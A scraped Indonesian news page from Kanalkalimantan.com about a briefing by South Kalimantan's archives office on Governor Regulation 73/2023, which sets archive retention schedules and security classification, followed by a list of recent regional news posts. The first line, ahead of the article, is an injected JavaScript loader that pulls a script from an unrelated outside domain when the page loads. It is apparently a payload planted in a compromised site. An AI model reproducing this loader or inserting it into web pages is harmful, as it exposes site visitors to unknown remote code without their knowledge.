(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Tata Kelola Arsip, Dispersip Kalsel Sosialisasi Pergub Pengelolaan Kearsipan


KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) menggelar sosialisasi bagi pengelola arsip di lingkungan Pemerintah Provinsi (Pemprov) Kalsel, Senin (22/7/2024).

Peraturan yang disosialisasikan yaitu Peraturan Gubernur (Pergub) Kalsel Nomor 73 Tahun 2023 tentang jadwal retensi arsip dan sistem klasifikasi keamanan dan akses arsip dinamis. Kegiatan diikuti 225 pengelola arsip di SKPD dan UPTD lingkungan Pemprov Kalsel.

“Mereka diberi informasi terkait jadwal retensi arsip, umur arsip sampai pemusnahan. Juga diberi pemahaman sistem klasifikasi keamanan arsip, untuk mengatahui yang boleh mengakses aset di SKPD,” kata Kepala Dispersip Kalsel Dra Hj Nurliani melalui Kepala Bidang Pembinaan dan Pelayanan Kearsipan, Muamar.

Muamar berharap, sosialisasi Pergub Kalsel tentang pengelolaan arsip bisa mewujudkan tata kelola arsip yang baik mendukung tranparansi dan akuntabilitas di lingkungan Pemprov Kalsel.

Baca juga: Pekerja di Banjarmasin Tewas Tertimpa Beton saat Mendongkrak Rumah

“Dengan adanya Pergub ini, kami optimis bisa mencapai tujuan bersama klasifikasi arsip yang baik,” katanya.

Sementara itu, Tim Pembina Kearsipan I Arsip Nasional Republik Indonesia (ANRI) Prihatni Wuryatmini menjelaskan bahwa pengetahuan tentang jadwal retensi arsip (JRA) dan klasifikasi keamanan dan akses arsip dinamis sangat penting untuk mewujudkan pengelolaan arsip yang efektif dan efisien.

Pergub Kaslel yang mengatur jadwal retensi arsip bertujuan untuk menciptakan memori kolektif Pemprov Kalsel. “Sedangkan terkait sistem klasifikasi keamanan akses arsip dinamis untuk mencegah terjadinya sengketa informasi antara badan publik dan publik,” kata Prihatni.

Baca juga: Proyek ATCS Samsat Banjarbaru: Median Jalan Pangeran Suriansyah Dibongkar

Dia menambahkan semua arsip yang tercipta sangatlah penting, khususnya arsip dinamis yang tercipta dari OPD/SKPD karena ini untuk menjamin akuntabilitas kinerja SKPD tersebut.

Batas waktu pakai arsip dinamis ini, lanjutnya, juga bervariasi ada yang dua tahun harus dimusnahkan dan maksimal 10 tahun harus dimusnahkan. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

4 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.